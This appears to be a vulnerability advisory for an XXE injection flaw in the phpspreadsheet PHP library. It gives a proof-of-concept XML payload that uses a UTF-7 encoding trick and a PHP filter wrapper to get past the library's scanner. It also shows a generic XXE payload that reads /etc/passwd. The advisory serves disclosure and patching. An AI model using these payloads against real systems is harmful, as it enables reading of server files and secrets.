XML External Entity (XXE) Injection Affecting phpoffice/phpspreadsheet package, versions <1.29.1 >=2.0.0, <2.1.1 >=2.2.0, <2.3.0

phpoffice/phpspreadsheet is a Spreadsheet engine that Read, Create and Write Spreadsheet documents in PHP .

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection through the toUtf8 function in the XmlScanner.php file. An attacker can disclose server files and sensitive information by providing an Excel sheet with a modified XML structure, specifying UTF-7 encoding with whitespace before the = in the declaration. Due to insufficient checks for that specification, the default UTF-8 is used and conversion logic is bypassed. This can expose file contents by using the PHP filter wrapper to access the server's filesystem.

An Excel sheet (XLSX) with at least one cell containing a value is needed.

Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE abc [ ... ]>

1. The following string is encoded in base64:

<!ENTITY internal 'abc'  >" 

Resulting in:

PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K

2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>

When this file is parsed by the library, the value abc should be in the original filled cell.

With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

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